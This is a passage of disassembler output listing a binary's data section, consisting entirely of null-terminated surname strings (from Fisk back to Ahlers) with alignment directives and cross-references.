aFisk		db 'Fisk',0             ; DATA XREF: .nsp0:00430008o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: .nsp0:00430004o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .nsp0:00430000o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .nsp0:0042FFFCo
aFink		db 'Fink',0             ; DATA XREF: .nsp0:0042FFF8o
		align 4
aField_0	db 'Field',0            ; DATA XREF: .nsp0:0042FFF4o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: .nsp0:0042FFF0o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .nsp0:0042FFECo
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: .nsp0:0042FFE8o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .nsp0:0042FFE4o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: .nsp0:0042FFE0o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .nsp0:0042FFDCo
aFeldman	db 'Feldman',0          ; DATA XREF: .nsp0:0042FFD8o
aFejzo		db 'Fejzo',0            ; DATA XREF: .nsp0:0042FFD4o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .nsp0:0042FFD0o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .nsp0:0042FFCCo
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: .nsp0:0042FFC8o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .nsp0:0042FFC4o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: .nsp0:0042FFC0o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: .nsp0:0042FFBCo
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: .nsp0:0042FFB8o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .nsp0:0042FFB4o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .nsp0:0042FFB0o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: .nsp0:0042FFACo
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: .nsp0:0042FFA8o
aEverett	db 'Everett',0          ; DATA XREF: .nsp0:0042FFA4o
aEuripides	db 'Euripides',0        ; DATA XREF: .nsp0:0042FFA0o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .nsp0:0042FF9Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .nsp0:0042FF98o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .nsp0:0042FF94o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: .nsp0:0042FF90o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .nsp0:0042FF8Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: .nsp0:0042FF88o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: .nsp0:0042FF84o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: .nsp0:0042FF80o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .nsp0:0042FF7Co
aEncinas	db 'Encinas',0          ; DATA XREF: .nsp0:0042FF78o
aElvis		db 'Elvis',0            ; DATA XREF: .nsp0:0042FF74o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: .nsp0:0042FF70o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .nsp0:0042FF6Co
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: .nsp0:0042FF68o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .nsp0:0042FF64o
aEdward		db 'Edward',0           ; DATA XREF: .nsp0:0042FF60o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .nsp0:0042FF5Co
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: .nsp0:0042FF58o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: .nsp0:0042FF54o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: .nsp0:0042FF50o
aEardley	db 'Eardley',0          ; DATA XREF: .nsp0:0042FF4Co
aDwyer		db 'Dwyer',0            ; DATA XREF: .nsp0:0042FF48o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: .nsp0:0042FF44o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .nsp0:0042FF40o
aDuffin		db 'Duffin',0           ; DATA XREF: .nsp0:0042FF3Co
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .nsp0:0042FF38o
aDrinker	db 'Drinker',0          ; DATA XREF: .nsp0:0042FF34o
aDowsland	db 'Dowsland',0         ; DATA XREF: .nsp0:0042FF30o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: .nsp0:0042FF2Co
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .nsp0:0042FF28o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: .nsp0:0042FF24o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .nsp0:0042FF20o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: .nsp0:0042FF1Co
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .nsp0:0042FF18o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: .nsp0:0042FF14o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: .nsp0:0042FF10o
aDoherty	db 'Doherty',0          ; DATA XREF: .nsp0:0042FF0Co
aDockery	db 'Dockery',0          ; DATA XREF: .nsp0:0042FF08o
aDirksen	db 'Dirksen',0          ; DATA XREF: .nsp0:0042FF04o
aDionysius	db 'Dionysius',0        ; DATA XREF: .nsp0:0042FF00o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .nsp0:0042FEFCo
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: .nsp0:0042FEF8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .nsp0:0042FEF4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .nsp0:0042FEF0o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: .nsp0:0042FEECo
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .nsp0:0042FEE8o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: .nsp0:0042FEE4o
aDesombre	db 'Desombre',0         ; DATA XREF: .nsp0:0042FEE0o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .nsp0:0042FEDCo
aDenham		db 'Denham',0           ; DATA XREF: .nsp0:0042FED8o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .nsp0:0042FED4o
aDemusz		db 'Demusz',0           ; DATA XREF: .nsp0:0042FED0o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .nsp0:0042FECCo
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: .nsp0:0042FEC8o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:0042FEC4o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .nsp0:0042FEC0o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .nsp0:0042FEBCo
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .nsp0:0042FEB8o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .nsp0:0042FEB4o
		align 4
aDees		db 'Dees',0             ; DATA XREF: .nsp0:0042FEB0o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .nsp0:0042FEACo
aDerousse	db 'deRousse',0         ; DATA XREF: .nsp0:0042FEA8o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:0042FEA4o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .nsp0:0042FEA0o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .nsp0:0042FE9Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .nsp0:0042FE98o
aDavid		db 'David',0            ; DATA XREF: .nsp0:0042FE94o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .nsp0:0042FE90o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .nsp0:0042FE8Co
		align 4
aDas		db 'Das',0              ; DATA XREF: .nsp0:0042FE88o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:0042FE84o
aDapice		db 'Dapice',0           ; DATA XREF: .nsp0:0042FE80o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: .nsp0:0042FE7Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: .nsp0:0042FE78o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .nsp0:0042FE74o
aDaly		db 'Daly',0             ; DATA XREF: .nsp0:0042FE70o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: .nsp0:0042FE6Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .nsp0:0042FE68o
aCyders		db 'Cyders',0           ; DATA XREF: .nsp0:0042FE64o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .nsp0:0042FE60o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .nsp0:0042FE5Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .nsp0:0042FE58o
aCui		db 'Cui',0              ; DATA XREF: .nsp0:0042FE54o
aCroxton	db 'Croxton',0          ; DATA XREF: .nsp0:0042FE50o
aCroxen		db 'Croxen',0           ; DATA XREF: .nsp0:0042FE4Co
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: .nsp0:0042FE48o
aCrocker	db 'Crocker',0          ; DATA XREF: .nsp0:0042FE44o
aCrawford	db 'Crawford',0         ; DATA XREF: .nsp0:0042FE40o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .nsp0:0042FE3Co
aCounter	db 'Counter',0          ; DATA XREF: .nsp0:0042FE38o
aCosmides	db 'Cosmides',0         ; DATA XREF: .nsp0:0042FE34o
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: .nsp0:0042FE30o
aCorey		db 'Corey',0            ; DATA XREF: .nsp0:0042FE2Co
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: .nsp0:0042FE28o
aCondodina	db 'Condodina',0        ; DATA XREF: .nsp0:0042FE24o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .nsp0:0042FE20o
aComstock	db 'Comstock',0         ; DATA XREF: .nsp0:0042FE1Co
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .nsp0:0042FE14o
					; .nsp0:0042FE18o
aCollis		db 'Collis',0           ; DATA XREF: .nsp0:0042FE10o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: .nsp0:0042FE0Co
aColella	db 'Colella',0          ; DATA XREF: .nsp0:0042FE08o
aColdren	db 'Coldren',0          ; DATA XREF: .nsp0:0042FE04o
aCoito		db 'Coito',0            ; DATA XREF: .nsp0:0042FE00o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .nsp0:0042FDFCo
aClow		db 'Clow',0             ; DATA XREF: .nsp0:0042FDF8o
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: .nsp0:0042FDF4o
aClement	db 'Clement',0          ; DATA XREF: .nsp0:0042FDF0o
aClark		db 'Clark',0            ; DATA XREF: .nsp0:0042FDECo
		align 10h
aClancy		db 'Clancy',0           ; DATA XREF: .nsp0:0042FDE8o
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .nsp0:0042FDE4o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .nsp0:0042FDE0o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .nsp0:0042FDDCo
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .nsp0:0042FDD8o
		align 10h
aChurch		db 'Church',0           ; DATA XREF: .nsp0:0042FDD4o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: .nsp0:0042FDD0o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .nsp0:0042FDCCo
aChristopher	db 'Christopher',0      ; DATA XREF: .nsp0:0042FDC8o
aChristie	db 'Christie',0         ; DATA XREF: .nsp0:0042FDC4o
		align 10h
aChristiano	db 'Christiano',0       ; DATA XREF: .nsp0:0042FDC0o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .nsp0:0042FDBCo
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: .nsp0:0042FDB8o
aChinman	db 'Chinman',0          ; DATA XREF: .nsp0:0042FDB4o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .nsp0:0042FDB0o
aChilds		db 'Childs',0           ; DATA XREF: .nsp0:0042FDACo
		align 10h
aChildress	db 'Childress',0        ; DATA XREF: .nsp0:0042FDA8o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .nsp0:0042FDA4o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .nsp0:0042FDA0o
		align 10h
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .nsp0:0042FD9Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .nsp0:0042FD98o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .nsp0:0042FD94o
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: .nsp0:0042FD90o
aChapman	db 'Chapman',0          ; DATA XREF: .nsp0:0042FD8Co
aCerioli	db 'Cerioli',0          ; DATA XREF: .nsp0:0042FD88o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .nsp0:0042FD84o
		align 10h
aCavell		db 'Cavell',0           ; DATA XREF: .nsp0:0042FD80o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .nsp0:0042FD7Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .nsp0:0042FD78o
		align 10h
aCaspar		db 'Caspar',0           ; DATA XREF: .nsp0:0042FD74o
		align 4
aCase		db 'Case',0             ; DATA XREF: .nsp0:0042FD70o
		align 10h
aCascio		db 'Cascio',0           ; DATA XREF: .nsp0:0042FD6Co
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .nsp0:0042FD68o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .nsp0:0042FD64o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .nsp0:0042FD60o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .nsp0:0042FD5Co
		align 10h
aCarlyle	db 'Carlyle',0          ; DATA XREF: .nsp0:0042FD58o
aCarlos		db 'Carlos',0           ; DATA XREF: .nsp0:0042FD54o
		align 10h
aCarlin		db 'Carlin',0           ; DATA XREF: .nsp0:0042FD50o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .nsp0:0042FD4Co
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .nsp0:0042FD48o
aCapursi	db 'Capursi',0          ; DATA XREF: .nsp0:0042FD44o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .nsp0:0042FD40o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .nsp0:0042FD3Co
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .nsp0:0042FD38o
		align 10h
aCaperton	db 'Caperton',0         ; DATA XREF: .nsp0:0042FD34o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .nsp0:0042FD30o
aCanley		db 'Canley',0           ; DATA XREF: .nsp0:0042FD2Co
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .nsp0:0042FD28o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .nsp0:0042FD24o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .nsp0:0042FD20o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .nsp0:0042FD1Co
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .nsp0:0042FD18o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .nsp0:0042FD14o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .nsp0:0042FD10o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .nsp0:0042FD0Co
aBurridge	db 'Burridge',0         ; DATA XREF: .nsp0:0042FD08o
		align 10h
aBurke		db 'Burke',0            ; DATA XREF: .nsp0:0042FD04o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .nsp0:0042FD00o
		align 10h
aBurden		db 'Burden',0           ; DATA XREF: .nsp0:0042FCFCo
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: .nsp0:0042FCF8o
		align 10h
aBullard	db 'Bullard',0          ; DATA XREF: .nsp0:0042FCF4o
aBudding	db 'Budding',0          ; DATA XREF: .nsp0:0042FCF0o
aBuchan		db 'Buchan',0           ; DATA XREF: .nsp0:0042FCECo
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .nsp0:0042FCE8o
aBrook		db 'Brook',0            ; DATA XREF: .nsp0:0042FCE4o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .nsp0:0042FCE0o
		align 10h
aBritz		db 'Britz',0            ; DATA XREF: .nsp0:0042FCDCo
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: .nsp0:0042FCD8o
aBridges	db 'Bridges',0          ; DATA XREF: .nsp0:0042FCD4o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .nsp0:0042FCD0o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .nsp0:0042FCC8o
					; .nsp0:0042FCCCo
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .nsp0:0042FCC4o
aBrenan		db 'Brenan',0           ; DATA XREF: .nsp0:0042FCC0o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .nsp0:0042FCBCo
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .nsp0:0042FCB8o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .nsp0:0042FCB4o
aBradac		db 'Bradac',0           ; DATA XREF: .nsp0:0042FCB0o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .nsp0:0042FCACo
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .nsp0:0042FCA8o
		align 10h
aBoym		db 'Boym',0             ; DATA XREF: .nsp0:0042FCA4o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .nsp0:0042FCA0o
aBoyes		db 'Boyes',0            ; DATA XREF: .nsp0:0042FC9Co
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .nsp0:0042FC98o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .nsp0:0042FC94o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .nsp0:0042FC90o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .nsp0:0042FC8Co
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: .nsp0:0042FC88o
aBoudin		db 'Boudin',0           ; DATA XREF: .nsp0:0042FC84o
		align 10h
aBotosh		db 'Botosh',0           ; DATA XREF: .nsp0:0042FC80o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .nsp0:0042FC7Co
aBossi		db 'Bossi',0            ; DATA XREF: .nsp0:0042FC78o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .nsp0:0042FC74o
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: .nsp0:0042FC70o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .nsp0:0042FC6Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .nsp0:0042FC68o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .nsp0:0042FC64o
		align 4
aBook_0		db 'Book',0             ; DATA XREF: .nsp0:0042FC60o
		align 10h
aBontempo	db 'Bontempo',0         ; DATA XREF: .nsp0:0042FC5Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .nsp0:0042FC58o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .nsp0:0042FC54o
		align 10h
aBoner_0	db 'Boner',0            ; DATA XREF: .nsp0:0042FC50o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .nsp0:0042FC4Co
aBollinger	db 'Bollinger',0        ; DATA XREF: .nsp0:0042FC48o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .nsp0:0042FC44o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .nsp0:0042FC40o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .nsp0:0042FC3Co
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .nsp0:0042FC38o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .nsp0:0042FC34o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .nsp0:0042FC30o
aBloch		db 'Bloch',0            ; DATA XREF: .nsp0:0042FC2Co
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .nsp0:0042FC28o
aBliss		db 'Bliss',0            ; DATA XREF: .nsp0:0042FC24o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .nsp0:0042FC20o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .nsp0:0042FC1Co
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: .nsp0:0042FC18o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .nsp0:0042FC14o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .nsp0:0042FC10o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: .nsp0:0042FC0Co
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: .nsp0:0042FC08o
		align 10h
aBir		db 'Bir',0              ; DATA XREF: .nsp0:0042FC04o
aBinion		db 'Binion',0           ; DATA XREF: .nsp0:0042FC00o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .nsp0:0042FBFCo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .nsp0:0042FBF8o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: .nsp0:0042FBF4o
aBetti		db 'Betti',0            ; DATA XREF: .nsp0:0042FBF0o
		align 10h
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .nsp0:0042FBECo
		align 10h
aBernston	db 'Bernston',0         ; DATA XREF: .nsp0:0042FBE8o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .nsp0:0042FBE4o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .nsp0:0042FBE0o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .nsp0:0042FBDCo
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .nsp0:0042FBD8o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .nsp0:0042FBD4o
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .nsp0:0042FBD0o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .nsp0:0042FBCCo
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .nsp0:0042FBC8o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .nsp0:0042FBC4o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .nsp0:0042FBC0o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .nsp0:0042FBBCo
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .nsp0:0042FBB8o
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: .nsp0:0042FBB4o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .nsp0:0042FBB0o
aBedford	db 'Bedford',0          ; DATA XREF: .nsp0:0042FBACo
aBeder		db 'Beder',0            ; DATA XREF: .nsp0:0042FBA8o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .nsp0:0042FBA4o
aBean		db 'Bean',0             ; DATA XREF: .nsp0:0042FBA0o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .nsp0:0042FB9Co
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .nsp0:0042FB98o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .nsp0:0042FB94o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .nsp0:0042FB90o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .nsp0:0042FB8Co
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .nsp0:0042FB88o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .nsp0:0042FB84o
		align 10h
aBasavappa	db 'Basavappa',0        ; DATA XREF: .nsp0:0042FB80o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .nsp0:0042FB7Co
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .nsp0:0042FB78o
		align 10h
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .nsp0:0042FB74o
aBarry		db 'Barry',0            ; DATA XREF: .nsp0:0042FB70o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .nsp0:0042FB6Co
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: .nsp0:0042FB68o
aBarneson	db 'Barneson',0         ; DATA XREF: .nsp0:0042FB64o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .nsp0:0042FB60o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: .nsp0:0042FB5Co
aBaranowska	db 'Baranowska',0       ; DATA XREF: .nsp0:0042FB58o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .nsp0:0042FB54o
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: .nsp0:0042FB50o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .nsp0:0042FB4Co
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .nsp0:0042FB48o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .nsp0:0042FB44o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .nsp0:0042FB40o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .nsp0:0042FB3Co
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .nsp0:0042FB38o
		align 10h
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .nsp0:0042FB34o
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .nsp0:0042FB30o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .nsp0:0042FB2Co
aBaglivo	db 'Baglivo',0          ; DATA XREF: .nsp0:0042FB28o
aBady		db 'Bady',0             ; DATA XREF: .nsp0:0042FB24o
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .nsp0:0042FB20o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .nsp0:0042FB1Co
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: .nsp0:0042FB18o
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: .nsp0:0042FB14o
		align 10h
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .nsp0:0042FB10o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .nsp0:0042FB0Co
aAxworthy	db 'Axworthy',0         ; DATA XREF: .nsp0:0042FB08o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .nsp0:0042FB04o
aAurelius	db 'Aurelius',0         ; DATA XREF: .nsp0:0042FB00o
		align 10h
aAugustus	db 'Augustus',0         ; DATA XREF: .nsp0:0042FAFCo
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .nsp0:0042FAF8o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .nsp0:0042FAF4o
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .nsp0:0042FAF0o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .nsp0:0042FAECo
		align 10h
aArellano	db 'Arellano',0         ; DATA XREF: .nsp0:0042FAE8o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .nsp0:0042FAE4o
aArbia		db 'Arbia',0            ; DATA XREF: .nsp0:0042FAE0o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: .nsp0:0042FADCo
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .nsp0:0042FAD8o
aAnsley		db 'Ansley',0           ; DATA XREF: .nsp0:0042FAD4o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .nsp0:0042FAD0o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: .nsp0:0042FACCo
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .nsp0:0042FAC8o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .nsp0:0042FAC4o
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .nsp0:0042FAC0o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .nsp0:0042FABCo
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .nsp0:0042FAB8o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .nsp0:0042FAB4o
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .nsp0:0042FAB0o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .nsp0:0042FAACo
		align 10h
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .nsp0:0042FAA8o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: .nsp0:0042FAA4o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .nsp0:0042FAA0o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .nsp0:0042FA9Co
		align 4
aAllison_0	db 'Allison',0          ; DATA XREF: .nsp0:0042FA98o
aAleks		db 'Aleks',0            ; DATA XREF: .nsp0:0042FA94o
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .nsp0:0042FA90o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .nsp0:0042FA8Co
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .nsp0:0042FA88o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .nsp0:0042FA84o
		align 4
